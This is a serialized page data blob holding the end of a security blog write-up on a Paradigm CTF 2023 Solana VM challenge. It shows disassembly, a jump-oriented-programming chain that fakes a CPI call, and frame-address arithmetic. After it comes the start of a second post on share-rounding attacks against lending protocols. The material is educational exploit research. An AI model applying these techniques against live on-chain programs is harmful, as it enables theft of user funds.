79a1b0ff00000000",{"type":23,"tag":41,"props":44884,"children":44885},{"style":858},[44886],{"type":28,"value":44120},{"type":23,"tag":41,"props":44888,"children":44889},{"style":858},[44890],{"type":28,"value":44414},{"type":23,"tag":41,"props":44892,"children":44893},{"style":70},[44894],{"type":28,"value":44130},{"type":23,"tag":41,"props":44896,"children":44897},{"style":858},[44898],{"type":28,"value":44135},{"type":23,"tag":41,"props":44900,"children":44901},{"style":170},[44902],{"type":28,"value":4329},{"type":23,"tag":41,"props":44904,"children":44905},{"style":164},[44906],{"type":28,"value":44907},"80",{"type":23,"tag":41,"props":44909,"children":44910},{"style":70},[44911],{"type":28,"value":44149},{"type":23,"tag":41,"props":44913,"children":44914},{"style":858},[44915],{"type":28,"value":44916},"var_50",{"type":23,"tag":41,"props":44918,"children":44919},{"style":70},[44920],{"type":28,"value":201},{"type":23,"tag":41,"props":44922,"children":44923},{"class":43,"line":1979},[44924,44929,44934,44938,44942,44946],{"type":23,"tag":41,"props":44925,"children":44926},{"style":858},[44927],{"type":28,"value":44928},"100001c30",{"type":23,"tag":41,"props":44930,"children":44931},{"style":858},[44932],{"type":28,"value":44933},"  b703000001000000",{"type":23,"tag":41,"props":44935,"children":44936},{"style":858},[44937],{"type":28,"value":44409},{"type":23,"tag":41,"props":44939,"children":44940},{"style":858},[44941],{"type":28,"value":44180},{"type":23,"tag":41,"props":44943,"children":44944},{"style":70},[44945],{"type":28,"value":970},{"type":23,"tag":41,"props":44947,"children":44948},{"style":164},[44949],{"type":28,"value":44950},"0x1\n",{"type":23,"tag":41,"props":44952,"children":44953},{"class":43,"line":2002},[44954,44959,44964,44968],{"type":23,"tag":41,"props":44955,"children":44956},{"style":858},[44957],{"type":28,"value":44958},"100001c38",{"type":23,"tag":41,"props":44960,"children":44961},{"style":858},[44962],{"type":28,"value":44963},"  8510000003feffff",{"type":23,"tag":41,"props":44965,"children":44966},{"style":858},[44967],{"type":28,"value":44331},{"type":23,"tag":41,"props":44969,"children":44970},{"style":858},[44971],{"type":28,"value":44972}," __rust_dealloc\n",{"type":23,"tag":41,"props":44974,"children":44975},{"class":43,"line":3835},[44976],{"type":23,"tag":41,"props":44977,"children":44978},{"emptyLinePlaceholder":18},[44979],{"type":28,"value":82},{"type":23,"tag":41,"props":44981,"children":44982},{"class":43,"line":3895},[44983,44988,44993,44997,45001,45005,45009,45013,45018,45022,45027],{"type":23,"tag":41,"props":44984,"children":44985},{"style":858},[44986],{"type":28,"value":44987},"100001c40",{"type":23,"tag":41,"props":44989,"children":44990},{"style":858},[44991],{"type":28,"value":44992},"  79a2d0ff00000000",{"type":23,"tag":41,"props":44994,"children":44995},{"style":858},[44996],{"type":28,"value":44120},{"type":23,"tag":41,"props":44998,"children":44999},{"style":858},[45000],{"type":28,"value":44125},{"type":23,"tag":41,"props":45002,"children":45003},{"style":70},[45004],{"type":28,"value":44130},{"type":23,"tag":41,"props":45006,"children":45007},{"style":858},[45008],{"type":28,"value":44135},{"type":23,"tag":41,"props":45010,"children":45011},{"style":170},[45012],{"type":28,"value":4329},{"type":23,"tag":41,"props":45014,"children":45015},{"style":164},[45016],{"type":28,"value":45017},"48",{"type":23,"tag":41,"props":45019,"children":45020},{"style":70},[45021],{"type":28,"value":44149},{"type":23,"tag":41,"props":45023,"children":45024},{"style":858},[45025],{"type":28,"value":45026},"var_30",{"type":23,"tag":41,"props":45028,"children":45029},{"style":70},[45030],{"type":28,"value":201},{"type":23,"tag":41,"props":45032,"children":45033},{"class":43,"line":9044},[45034,45039,45044,45048,45052,45056,45060,45064,45068,45072],{"type":23,"tag":41,"props":45035,"children":45036},{"style":858},[45037],{"type":28,"value":45038},"100001c48",{"type":23,"tag":41,"props":45040,"children":45041},{"style":164},[45042],{"type":28,"value":45043},"  1502030000000000",{"type":23,"tag":41,"props":45045,"children":45046},{"style":858},[45047],{"type":28,"value":44803},{"type":23,"tag":41,"props":45049,"children":45050},{"style":70},[45051],{"type":28,"value":758},{"type":23,"tag":41,"props":45053,"children":45054},{"style":170},[45055],{"type":28,"value":4383},{"type":23,"tag":41,"props":45057,"children":45058},{"style":164},[45059],{"type":28,"value":17282},{"type":23,"tag":41,"props":45061,"children":45062},{"style":70},[45063],{"type":28,"value":5821},{"type":23,"tag":41,"props":45065,"children":45066},{"style":858},[45067],{"type":28,"value":44501},{"type":23,"tag":41,"props":45069,"children":45070},{"style":70},[45071],{"type":28,"value":970},{"type":23,"tag":41,"props":45073,"children":45074},{"style":164},[45075],{"type":28,"value":44384},{"type":23,"tag":41,"props":45077,"children":45078},{"class":43,"line":9061},[45079],{"type":23,"tag":41,"props":45080,"children":45081},{"emptyLinePlaceholder":18},[45082],{"type":28,"value":82},{"type":23,"tag":41,"props":45084,"children":45085},{"class":43,"line":9106},[45086,45091,45096,45100,45104,45108,45112,45116,45121,45125,45130],{"type":23,"tag":41,"props":45087,"children":45088},{"style":858},[45089],{"type":28,"value":45090},"100001c50",{"type":23,"tag":41,"props":45092,"children":45093},{"style":858},[45094],{"type":28,"value":45095},"  79a1c8ff00000000",{"type":23,"tag":41,"props":45097,"children":45098},{"style":858},[45099],{"type":28,"value":44120},{"type":23,"tag":41,"props":45101,"children":45102},{"style":858},[45103],{"type":28,"value":44414},{"type":23,"tag":41,"props":45105,"children":45106},{"style":70},[45107],{"type":28,"value":44130},{"type":23,"tag":41,"props":45109,"children":45110},{"style":858},[45111],{"type":28,"value":44135},{"type":23,"tag":41,"props":45113,"children":45114},{"style":170},[45115],{"type":28,"value":4329},{"type":23,"tag":41,"props":45117,"children":45118},{"style":164},[45119],{"type":28,"value":45120},"56",{"type":23,"tag":41,"props":45122,"children":45123},{"style":70},[45124],{"type":28,"value":44149},{"type":23,"tag":41,"props":45126,"children":45127},{"style":858},[45128],{"type":28,"value":45129},"var_38",{"type":23,"tag":41,"props":45131,"children":45132},{"style":70},[45133],{"type":28,"value":201},{"type":23,"tag":41,"props":45135,"children":45136},{"class":43,"line":9212},[45137,45142,45146,45150,45154,45158],{"type":23,"tag":41,"props":45138,"children":45139},{"style":858},[45140],{"type":28,"value":45141},"100001c58",{"type":23,"tag":41,"props":45143,"children":45144},{"style":858},[45145],{"type":28,"value":44933},{"type":23,"tag":41,"props":45147,"children":45148},{"style":858},[45149],{"type":28,"value":44409},{"type":23,"tag":41,"props":45151,"children":45152},{"style":858},[45153],{"type":28,"value":44180},{"type":23,"tag":41,"props":45155,"children":45156},{"style":70},[45157],{"type":28,"value":970},{"type":23,"tag":41,"props":45159,"children":45160},{"style":164},[45161],{"type":28,"value":44950},{"type":23,"tag":41,"props":45163,"children":45164},{"class":43,"line":23496},[45165,45170,45175,45179],{"type":23,"tag":41,"props":45166,"children":45167},{"style":858},[45168],{"type":28,"value":45169},"100001c60",{"type":23,"tag":41,"props":45171,"children":45172},{"style":858},[45173],{"type":28,"value":45174},"  85100000fefdffff",{"type":23,"tag":41,"props":45176,"children":45177},{"style":858},[45178],{"type":28,"value":44331},{"type":23,"tag":41,"props":45180,"children":45181},{"style":858},[45182],{"type":28,"value":44972},{"type":23,"tag":41,"props":45184,"children":45185},{"class":43,"line":23531},[45186],{"type":23,"tag":41,"props":45187,"children":45188},{"emptyLinePlaceholder":18},[45189],{"type":28,"value":82},{"type":23,"tag":41,"props":45191,"children":45192},{"class":43,"line":23539},[45193,45198,45203,45208,45213,45218],{"type":23,"tag":41,"props":45194,"children":45195},{"style":858},[45196],{"type":28,"value":45197},"100001c68",{"type":23,"tag":41,"props":45199,"children":45200},{"style":164},[45201],{"type":28,"value":45202},"  9500000000000000",{"type":23,"tag":41,"props":45204,"children":45205},{"style":858},[45206],{"type":28,"value":45207},"   exit",{"type":23,"tag":41,"props":45209,"children":45210},{"style":70},[45211],{"type":28,"value":45212}," {",{"type":23,"tag":41,"props":45214,"children":45215},{"style":858},[45216],{"type":28,"value":45217},"__return_addr",{"type":23,"tag":41,"props":45219,"children":45220},{"style":70},[45221],{"type":28,"value":201},{"type":23,"tag":24,"props":45223,"children":45224},{},[45225,45227,45233],{"type":28,"value":45226},"Which, assuming that ",{"type":23,"tag":37,"props":45228,"children":45230},{"className":45229},[],[45231],{"type":28,"value":45232},"sol_invoke_signed_rust",{"type":28,"value":45234}," returns 0, is doing the following:",{"type":23,"tag":5436,"props":45236,"children":45237},{},[45238,45247,45256],{"type":23,"tag":421,"props":45239,"children":45240},{},[45241],{"type":23,"tag":37,"props":45242,"children":45244},{"className":45243},[],[45245],{"type":28,"value":45246},"sol_invoke_signed_rust(r1, [r10-136], [r10-128], [r10-152], [r10-144])",{"type":23,"tag":421,"props":45248,"children":45249},{},[45250],{"type":23,"tag":37,"props":45251,"children":45253},{"className":45252},[],[45254],{"type":28,"value":45255},"*[r10-120] = 0x18",{"type":23,"tag":421,"props":45257,"children":45258},{},[45259,45261,45267,45269,45276],{"type":28,"value":45260},"Calls ",{"type":23,"tag":37,"props":45262,"children":45264},{"className":45263},[],[45265],{"type":28,"value":45266},"__rust_dealloc",{"type":28,"value":45268},", which in default circumstances is a ",{"type":23,"tag":458,"props":45270,"children":45273},{"href":45271,"rel":45272},"https://github.com/solana-labs/solana/blob/v1.17.4/sdk/program/src/entrypoint.rs#L257C1-L259",[462],[45274],{"type":28,"value":45275},"NOP",{"type":28,"value":706},{"type":23,"tag":24,"props":45278,"children":45279},{},[45280],{"type":28,"value":45281},"r10 is the stack pointer, so it will point to the stack frame of the current depth when executing that instruction.",{"type":23,"tag":24,"props":45283,"children":45284},{},[45285],{"type":28,"value":45286},"If we correctly set up the stack frame used by this gadget with valid parameters, that's a win.",{"type":23,"tag":24,"props":45288,"children":45289},{},[45290,45292,45299],{"type":28,"value":45291},"Looking at the ",{"type":23,"tag":458,"props":45293,"children":45296},{"href":45294,"rel":45295},"https://github.com/solana-labs/solana/blob/master/sdk/program/src/syscalls/definitions.rs#L59",[462],[45297],{"type":28,"value":45298},"definition",{"type":28,"value":45300},", it's not crystal clear what the parameters are:",{"type":23,"tag":31,"props":45302,"children":45304},{"className":2982,"code":45303,"language":2981,"meta":7,"style":7},"fn sol_invoke_signed_rust(instruction_addr: *const u8, account_infos_addr: *const u8, account_infos_len: u64, signers_seeds_addr: *const u8, signers_seeds_len: u64) -> u64\n",[45305],{"type":23,"tag":37,"props":45306,"children":45307},{"__ignoreMap":7},[45308],{"type":23,"tag":41,"props":45309,"children":45310},{"class":43,"line":44},[45311,45315,45320,45324,45329,45333,45337,45341,45345,45349,45354,45358,45362,45366,45370,45374,45379,45383,45387,45391,45396,45400,45404,45408,45412,45416,45421,45425,45429,45433,45437],{"type":23,"tag":41,"props":45312,"children":45313},{"style":64},[45314],{"type":28,"value":20255},{"type":23,"tag":41,"props":45316,"children":45317},{"style":114},[45318],{"type":28,"value":45319}," sol_invoke_signed_rust",{"type":23,"tag":41,"props":45321,"children":45322},{"style":70},[45323],{"type":28,"value":1737},{"type":23,"tag":41,"props":45325,"children":45326},{"style":858},[45327],{"type":28,"value":45328},"instruction_addr",{"type":23,"tag":41,"props":45330,"children":45331},{"style":170},[45332],{"type":28,"value":1474},{"type":23,"tag":41,"props":45334,"children":45335},{"style":170},[45336],{"type":28,"value":9814},{"type":23,"tag":41,"props":45338,"children":45339},{"style":64},[45340],{"type":28,"value":846},{"type":23,"tag":41,"props":45342,"children":45343},{"style":94},[45344],{"type":28,"value":14626},{"type":23,"tag":41,"props":45346,"children":45347},{"style":70},[45348],{"type":28,"value":970},{"type":23,"tag":41,"props":45350,"children":45351},{"style":858},[45352],{"type":28,"value":45353},"account_infos_addr",{"type":23,"tag":41,"props":45355,"children":45356},{"style":170},[45357],{"type":28,"value":1474},{"type":23,"tag":41,"props":45359,"children":45360},{"style":170},[45361],{"type":28,"value":9814},{"type":23,"tag":41,"props":45363,"children":45364},{"style":64},[45365],{"type":28,"value":846},{"type":23,"tag":41,"props":45367,"children":45368},{"style":94},[45369],{"type":28,"value":14626},{"type":23,"tag":41,"props":45371,"children":45372},{"style":70},[45373],{"type":28,"value":970},{"type":23,"tag":41,"props":45375,"children":45376},{"style":858},[45377],{"type":28,"value":45378},"account_infos_len",{"type":23,"tag":41,"props":45380,"children":45381},{"style":170},[45382],{"type":28,"value":1474},{"type":23,"tag":41,"props":45384,"children":45385},{"style":94},[45386],{"type":28,"value":5860},{"type":23,"tag":41,"props":45388,"children":45389},{"style":70},[45390],{"type":28,"value":970},{"type":23,"tag":41,"props":45392,"children":45393},{"style":858},[45394],{"type":28,"value":45395},"signers_seeds_addr",{"type":23,"tag":41,"props":45397,"children":45398},{"style":170},[45399],{"type":28,"value":1474},{"type":23,"tag":41,"props":45401,"children":45402},{"style":170},[45403],{"type":28,"value":9814},{"type":23,"tag":41,"props":45405,"children":45406},{"style":64},[45407],{"type":28,"value":846},{"type":23,"tag":41,"props":45409,"children":45410},{"style":94},[45411],{"type":28,"value":14626},{"type":23,"tag":41,"props":45413,"children":45414},{"style":70},[45415],{"type":28,"value":970},{"type":23,"tag":41,"props":45417,"children":45418},{"style":858},[45419],{"type":28,"value":45420},"signers_seeds_len",{"type":23,"tag":41,"props":45422,"children":45423},{"style":170},[45424],{"type":28,"value":1474},{"type":23,"tag":41,"props":45426,"children":45427},{"style":94},[45428],{"type":28,"value":5860},{"type":23,"tag":41,"props":45430,"children":45431},{"style":70},[45432],{"type":28,"value":866},{"type":23,"tag":41,"props":45434,"children":45435},{"style":170},[45436],{"type":28,"value":2453},{"type":23,"tag":41,"props":45438,"children":45439},{"style":94},[45440],{"type":28,"value":13192},{"type":23,"tag":24,"props":45442,"children":45443},{},[45444,45446,45451,45453,45460],{"type":28,"value":45445},"The source of ",{"type":23,"tag":458,"props":45447,"children":45449},{"href":45448},"(https://github.com/solana-labs/solana/blob/v1.17.4/sdk/program/src/program.rs#L289)",[45450],{"type":28,"value":44061},{"type":28,"value":45452}," helps a lot, but looking at the actual ",{"type":23,"tag":458,"props":45454,"children":45457},{"href":45455,"rel":45456},"https://github.com/solana-labs/solana/blob/v1.17.4/programs/bpf_loader/src/syscalls/cpi.rs#L458-L637",[462],[45458],{"type":28,"value":45459},"implementation",{"type":28,"value":45461}," provides more clarity:",{"type":23,"tag":417,"props":45463,"children":45464},{},[45465],{"type":23,"tag":421,"props":45466,"children":45467},{},[45468,45473,45475,45482],{"type":23,"tag":37,"props":45469,"children":45471},{"className":45470},[],[45472],{"type":28,"value":45328},{"type":28,"value":45474}," points to a ",{"type":23,"tag":458,"props":45476,"children":45479},{"href":45477,"rel":45478},"https://github.com/solana-labs/solana/blob/v1.17.4/sdk/program/src/stable_layout/stable_instruction.rs#L33",[462],[45480],{"type":28,"value":45481},"StableInstruction",{"type":28,"value":1474},{"type":23,"tag":24,"props":45484,"children":45485},{},[45486],{"type":23,"tag":3918,"props":45487,"children":45489},{"alt":45481,"src":45488},"/posts/jumping-around-in-the-vm/stable_ix.svg",[],{"type":23,"tag":417,"props":45491,"children":45492},{},[45493,45518],{"type":23,"tag":421,"props":45494,"children":45495},{},[45496,45501,45503,45508,45510,45517],{"type":23,"tag":37,"props":45497,"children":45499},{"className":45498},[],[45500],{"type":28,"value":45353},{"type":28,"value":45502}," points to a slice of ",{"type":23,"tag":37,"props":45504,"children":45506},{"className":45505},[],[45507],{"type":28,"value":45378},{"type":28,"value":45509},"  ",{"type":23,"tag":458,"props":45511,"children":45514},{"href":45512,"rel":45513},"https://github.com/solana-labs/solana/blob/v1.17.4/sdk/program/src/account_info.rs#L19-L36",[462],[45515],{"type":28,"value":45516},"AccountInfos",{"type":28,"value":706},{"type":23,"tag":421,"props":45519,"children":45520},{},[45521,45526,45528,45533,45535,45540],{"type":23,"tag":37,"props":45522,"children":45524},{"className":45523},[],[45525],{"type":28,"value":45395},{"type":28,"value":45527}," is a bit trickier, it points to a slice of length ",{"type":23,"tag":37,"props":45529,"children":45531},{"className":45530},[],[45532],{"type":28,"value":45420},{"type":28,"value":45534},", containing slices of ",{"type":23,"tag":37,"props":45536,"children":45538},{"className":45537},[],[45539],{"type":28,"value":3419},{"type":28,"value":706},{"type":23,"tag":24,"props":45542,"children":45543},{},[45544],{"type":23,"tag":3918,"props":45545,"children":45548},{"alt":45546,"src":45547},"signers.drawio","/posts/jumping-around-in-the-vm/signers.svg",[],{"type":23,"tag":24,"props":45550,"children":45551},{},[45552,45554,45559],{"type":28,"value":45553},"Where do we store those fake parameters? We can store them directly inside the input data, and just write the pointers to them on the stack through the write gadget. Note that these writes are to ",{"type":23,"tag":2913,"props":45555,"children":45556},{},[45557],{"type":28,"value":45558},"future call frames",{"type":28,"value":706},{"type":23,"tag":24,"props":45561,"children":45562},{},[45563,45565,45572],{"type":28,"value":45564},"Now that we have all the parts, all we need is to string it together. The full ",{"type":23,"tag":458,"props":45566,"children":45569},{"href":45567,"rel":45568},"https://github.com/chen-robert/paradigmctf-2023/blob/main/jotterp/framework-solve/src/main.rs",[462],[45570],{"type":28,"value":45571},"reference solution can be found here",{"type":28,"value":706},{"type":23,"tag":24,"props":45574,"children":45575},{},[45576],{"type":28,"value":45577},"Here's a visualization of the final JOP chain.",{"type":23,"tag":31,"props":45579,"children":45581},{"className":43943,"code":45580,"language":43945,"meta":7,"style":7},"graph BT\n    A[0: entrypoint] --> B[1: process_instruction]\n    B --> C[2: process]\n    C --> D[3: Write account_infos.ptr to target_r10 - 136]\n    C --> E[3: process]\n    E --> F[4: Write account_infos.len to target_r10 - 128]\n    E --> G[4: process]\n    G --> H[5: Write signers_seeds.ptr to target_r10 - 152]\n    G --> I[5: process]\n    I --> J[6: Write signers_seeds.len to target_r10 - 144]\n    I --> K[6: process]\n    K --> M[7: Write HeapBase to target_r10 - 120]\n    K --> N[7: process]\n    N --> P[8: Invoke CPI Gadget with R0 pointing to the CreateAccount instruction]\n    N --> O[8: Write 0x4337 to the account]\n",[45582],{"type":23,"tag":37,"props":45583,"children":45584},{"__ignoreMap":7},[45585,45593,45600,45607,45615,45622,45630,45638,45646,45654,45662,45670,45678,45686,45694],{"type":23,"tag":41,"props":45586,"children":45587},{"class":43,"line":44},[45588],{"type":23,"tag":41,"props":45589,"children":45590},{},[45591],{"type":28,"value":45592},"graph BT\n",{"type":23,"tag":41,"props":45594,"children":45595},{"class":43,"line":54},[45596],{"type":23,"tag":41,"props":45597,"children":45598},{},[45599],{"type":28,"value":43965},{"type":23,"tag":41,"props":45601,"children":45602},{"class":43,"line":76},[45603],{"type":23,"tag":41,"props":45604,"children":45605},{},[45606],{"type":28,"value":43973},{"type":23,"tag":41,"props":45608,"children":45609},{"class":43,"line":85},[45610],{"type":23,"tag":41,"props":45611,"children":45612},{},[45613],{"type":28,"value":45614},"    C --> D[3: Write account_infos.ptr to target_r10 - 136]\n",{"type":23,"tag":41,"props":45616,"children":45617},{"class":43,"line":105},[45618],{"type":23,"tag":41,"props":45619,"children":45620},{},[45621],{"type":28,"value":43989},{"type":23,"tag":41,"props":45623,"children":45624},{"class":43,"line":155},[45625],{"type":23,"tag":41,"props":45626,"children":45627},{},[45628],{"type":28,"value":45629},"    E --> F[4: Write account_infos.len to target_r10 - 128]\n",{"type":23,"tag":41,"props":45631,"children":45632},{"class":43,"line":186},[45633],{"type":23,"tag":41,"props":45634,"children":45635},{},[45636],{"type":28,"value":45637},"    E --> G[4: process]\n",{"type":23,"tag":41,"props":45639,"children":45640},{"class":43,"line":195},[45641],{"type":23,"tag":41,"props":45642,"children":45643},{},[45644],{"type":28,"value":45645},"    G --> H[5: Write signers_seeds.ptr to target_r10 - 152]\n",{"type":23,"tag":41,"props":45647,"children":45648},{"class":43,"line":905},[45649],{"type":23,"tag":41,"props":45650,"children":45651},{},[45652],{"type":28,"value":45653},"    G --> I[5: process]\n",{"type":23,"tag":41,"props":45655,"children":45656},{"class":43,"line":922},[45657],{"type":23,"tag":41,"props":45658,"children":45659},{},[45660],{"type":28,"value":45661},"    I --> J[6: Write signers_seeds.len to target_r10 - 144]\n",{"type":23,"tag":41,"props":45663,"children":45664},{"class":43,"line":930},[45665],{"type":23,"tag":41,"props":45666,"children":45667},{},[45668],{"type":28,"value":45669},"    I --> K[6: process]\n",{"type":23,"tag":41,"props":45671,"children":45672},{"class":43,"line":939},[45673],{"type":23,"tag":41,"props":45674,"children":45675},{},[45676],{"type":28,"value":45677},"    K --> M[7: Write HeapBase to target_r10 - 120]\n",{"type":23,"tag":41,"props":45679,"children":45680},{"class":43,"line":947},[45681],{"type":23,"tag":41,"props":45682,"children":45683},{},[45684],{"type":28,"value":45685},"    K --> N[7: process]\n",{"type":23,"tag":41,"props":45687,"children":45688},{"class":43,"line":985},[45689],{"type":23,"tag":41,"props":45690,"children":45691},{},[45692],{"type":28,"value":45693},"    N --> P[8: Invoke CPI Gadget with R0 pointing to the CreateAccount instruction]\n",{"type":23,"tag":41,"props":45695,"children":45696},{"class":43,"line":1058},[45697],{"type":23,"tag":41,"props":45698,"children":45699},{},[45700],{"type":28,"value":45701},"    N --> O[8: Write 0x4337 to the account]\n",{"type":23,"tag":24,"props":45703,"children":45704},{},[45705,45707,45713],{"type":28,"value":45706},"Small note: ",{"type":23,"tag":37,"props":45708,"children":45710},{"className":45709},[],[45711],{"type":28,"value":45712},"target_r10",{"type":28,"value":45714}," is the address of the call frame when the CPI gadget is invoked, which, as shown in the graph, is the 8th frame. Its address can be calculated as follows:",{"type":23,"tag":31,"props":45716,"children":45718},{"className":2982,"code":45717,"language":2981,"meta":7,"style":7},"fn call_frame_addr(depth: u64) -> u64 {\n    0x200000000 + 0x2000 * depth + 0x1000\n}\n// call_frame_addr(8) = 0x200011000\n",[45719],{"type":23,"tag":37,"props":45720,"children":45721},{"__ignoreMap":7},[45722,45767,45802,45809],{"type":23,"tag":41,"props":45723,"children":45724},{"class":43,"line":44},[45725,45729,45734,45738,45743,45747,45751,45755,45759,45763],{"type":23,"tag":41,"props":45726,"children":45727},{"style":64},[45728],{"type":28,"value":20255},{"type":23,"tag":41,"props":45730,"children":45731},{"style":114},[45732],{"type":28,"value":45733}," call_frame_addr",{"type":23,"tag":41,"props":45735,"children":45736},{"style":70},[45737],{"type":28,"value":1737},{"type":23,"tag":41,"props":45739,"children":45740},{"style":858},[45741],{"type":28,"value":45742},"depth",{"type":23,"tag":41,"props":45744,"children":45745},{"style":170},[45746],{"type":28,"value":1474},{"type":23,"tag":41,"props":45748,"children":45749},{"style":94},[45750],{"type":28,"value":5860},{"type":23,"tag":41,"props":45752,"children":45753},{"style":70},[45754],{"type":28,"value":866},{"type":23,"tag":41,"props":45756,"children":45757},{"style":170},[45758],{"type":28,"value":2453},{"type":23,"tag":41,"props":45760,"children":45761},{"style":94},[45762],{"type":28,"value":5860},{"type":23,"tag":41,"props":45764,"children":45765},{"style":70},[45766],{"type":28,"value":102},{"type":23,"tag":41,"props":45768,"children":45769},{"class":43,"line":54},[45770,45775,45779,45784,45788,45793,45797],{"type":23,"tag":41,"props":45771,"children":45772},{"style":164},[45773],{"type":28,"value":45774},"    0x200000000",{"type":23,"tag":41,"props":45776,"children":45777},{"style":170},[45778],{"type":28,"value":8901},{"type":23,"tag":41,"props":45780,"children":45781},{"style":164},[45782],{"type":28,"value":45783}," 0x2000",{"type":23,"tag":41,"props":45785,"children":45786},{"style":170},[45787],{"type":28,"value":9814},{"type":23,"tag":41,"props":45789,"children":45790},{"style":858},[45791],{"type":28,"value":45792}," depth",{"type":23,"tag":41,"props":45794,"children":45795},{"style":170},[45796],{"type":28,"value":8901},{"type":23,"tag":41,"props":45798,"children":45799},{"style":164},[45800],{"type":28,"value":45801}," 0x1000\n",{"type":23,"tag":41,"props":45803,"children":45804},{"class":43,"line":76},[45805],{"type":23,"tag":41,"props":45806,"children":45807},{"style":70},[45808],{"type":28,"value":201},{"type":23,"tag":41,"props":45810,"children":45811},{"class":43,"line":85},[45812],{"type":23,"tag":41,"props":45813,"children":45814},{"style":48},[45815],{"type":28,"value":45816},"// call_frame_addr(8) = 0x200011000\n",{"type":23,"tag":446,"props":45818,"children":45819},{"id":2811},[45820],{"type":28,"value":2814},{"type":23,"tag":24,"props":45822,"children":45823},{},[45824,45826,45833],{"type":28,"value":45825},"Most blockchain vulnerabilities are high-level business logic bugs. While low-level Solana bugs are rare, ",{"type":23,"tag":458,"props":45827,"children":45830},{"href":45828,"rel":45829},"https://osec.io/blog/2022-12-09-rust-realloc-and-references",[462],[45831],{"type":28,"value":45832},"they do exist",{"type":28,"value":706},{"type":23,"tag":24,"props":45835,"children":45836},{},[45837],{"type":28,"value":45838},"In this blog post, we provided an exploration of the exploitation side of security. There's a surprising amount of work necessary to go from powerful memory corruption primitives to full control of the program.",{"type":23,"tag":24,"props":45840,"children":45841},{},[45842,45844,45849],{"type":28,"value":45843},"Security requires a top-to-bottom understanding of the execution environment. We hope this challenge and blog post motivate others to understand the ",{"type":23,"tag":2913,"props":45845,"children":45846},{},[45847],{"type":28,"value":45848},"entire",{"type":28,"value":45850}," runtime.",{"type":23,"tag":2843,"props":45852,"children":45853},{},[45854],{"type":28,"value":2847},{"title":7,"searchDepth":54,"depth":54,"links":45856},[45857,45861,45862,45865],{"id":18944,"depth":54,"text":18947,"children":45858},[45859,45860],{"id":40531,"depth":76,"text":40534},{"id":41850,"depth":76,"text":41853},{"id":43089,"depth":54,"text":43092},{"id":43925,"depth":54,"text":43928,"children":45863},[45864],{"id":44039,"depth":76,"text":44042},{"id":2811,"depth":54,"text":2814},"content:blog:2023-12-11-jumping-around-in-the-vm.md","blog/2023-12-11-jumping-around-in-the-vm.md","blog/2023-12-11-jumping-around-in-the-vm",{"_path":45870,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":45871,"description":45872,"author":45873,"image":45874,"date":45876,"isFeatured":18,"onBlogPage":18,"body":45877,"_type":2864,"_id":47021,"_source":2866,"_file":47022,"_stem":47023,"_extension":2869},"/blog/2024-01-18-rounding-bugs","Rounding Bugs: An Analysis","Rounding-related hacks are having a moment in the spotlight. We explore these exploits, correct some popular misunderstandings, and provide mitigations.",[5720],{"src":45875},"/posts/rounding-bugs/cover.png","2024-01-18",{"type":20,"children":45878,"toc":47010},[45879,45883,45911,45916,45929,45934,45940,45945,45950,45955,45960,45973,45985,46005,46025,46030,46035,46053,46059,46064,46070,46084,46097,46102,46108,46122,46127,46149,46381,46386,46391,46404,46643,46653,46658,46664,46669,46674,46707,46712,46723,46729,46734,46748,46876,46890,46966,46971,46982,46987,46992,46996,47001,47006],{"type":23,"tag":446,"props":45880,"children":45881},{"id":29014},[45882],{"type":28,"value":29017},{"type":23,"tag":24,"props":45884,"children":45885},{},[45886,45888,45895,45896,45903,45905,45910],{"type":28,"value":45887},"Recently, there's been a series of attacks exploiting share rounding against lending protocols. Rounding attacks are already known to developers on ",{"type":23,"tag":458,"props":45889,"children":45892},{"href":45890,"rel":45891},"https://neodyme.io/de/blog/lending_disclosure",[462],[45893],{"type":28,"value":45894},"fast",{"type":28,"value":970},{"type":23,"tag":458,"props":45897,"children":45900},{"href":45898,"rel":45899},"https://osec.io/blog/2022-04-26-spl-swap-rounding",[462],[45901],{"type":28,"value":45902},"cheap",{"type":28,"value":45904}," chains with high-value tokens. These attacks are novel in that they also work against low-value tokens on expensive chains. ",{"type":23,"tag":2913,"props":45906,"children":45907},{},[45908],{"type":28,"value":45909},"Most people haven't considered what happens when shares are worth a lot",{"type":28,"value":706},{"type":23,"tag":24,"props":45912,"children":45913},{},[45914],{"type":28,"value":45915},"Much of the previous discourse has mischaracterized the rootcause of these hacks. For example, the presence of flashloans is largely irrelevant. At a high level, these attacks only require two key steps:",{"type":23,"tag":5436,"props":45917,"children":45918},{},[45919,45924],{"type":23,"tag":421,"props":45920,"children":45921},{},[45922],{"type":28,"value":45923},"Inflate share value (token to share conversion rate)",{"type":23,"tag":421,"props":45925,"children":45926},{},[45927],{"type":28,"value":45928},"Exploit rounding bug",{"type":23,"tag":24,"props":45930,"children":45931},{},[45932],{"type":28,"value":45933},"In this blog post, we explore these attacks in detail and provide potential mitigations.",{"type":23,"tag":446,"props":45935,"children":45937},{"id":45936},"model",[45938],{"type":28,"value":45939},"Model",{"type":23,"tag":24,"props":45941,"children":45942},{},[45943],{"type":28,"value":45944},"Before we dive in, there's some helpful background information we'll share first.",{"type":23,"tag":24,"props":45946,"children":45947},{},[45948],{"type":28,"value":45949},"A common form of accounting is the share and token model. When a user deposits a token, they receive back shares. Shares can accrue value, whether through interest or protocol fees.",{"type":23,"tag":24,"props":45951,"children":45952},{},[45953],{"type":28,"value":45954},"When users want to withdraw their tokens, they burn shares and receive the corresponding amount of tokens back. This is nice in theory. Unfortunately, in the real world, we have fixed precision. You can't have 1.01 shares, it needs to be either one or two. Which way should we round?",{"type":23,"tag":24,"props":45956,"children":45957},{},[45958],{"type":28,"value":45959},"This question is more complex than it may appear. Let's walk through an example.",{"type":23,"tag":24,"props":45961,"children":45962},{},[45963,45965,45971],{"type":28,"value":45964},"Say we initialize shares and tokens in a one-to-one ratio. After an initial deposit of 1000 tokens, the pool state is ",{"type":23,"tag":37,"props":45966,"children":45968},{"className":45967},[],[45969],{"type":28,"value":45970},"1000:1000",{"type":28,"value":45972}," (1000 tokens to 1000 shares).",{"type":23,"tag":24,"props":45974,"children":45975},{},[45976,45978,45984],{"type":28,"value":45977},"After accruing fees, the pool gains one token for a new ratio of ",{"type":23,"tag":37,"props":45979,"children":45981},{"className":45980},[],[45982],{"type":28,"value":45983},"1001:1000",{"type":28,"value":706},{"type":23,"tag":24,"props":45986,"children":45987},{},[45988,45990,45996,45998,46003],{"type":28,"value":45989},"How many tokens should we get back when withdrawing 999 shares? The real answer is ",{"type":23,"tag":37,"props":45991,"children":45993},{"className":45992},[],[45994],{"type":28,"value":45995},"1001/1000*999 = 999.999",{"type":28,"value":45997},". Unfortunately, we can only send 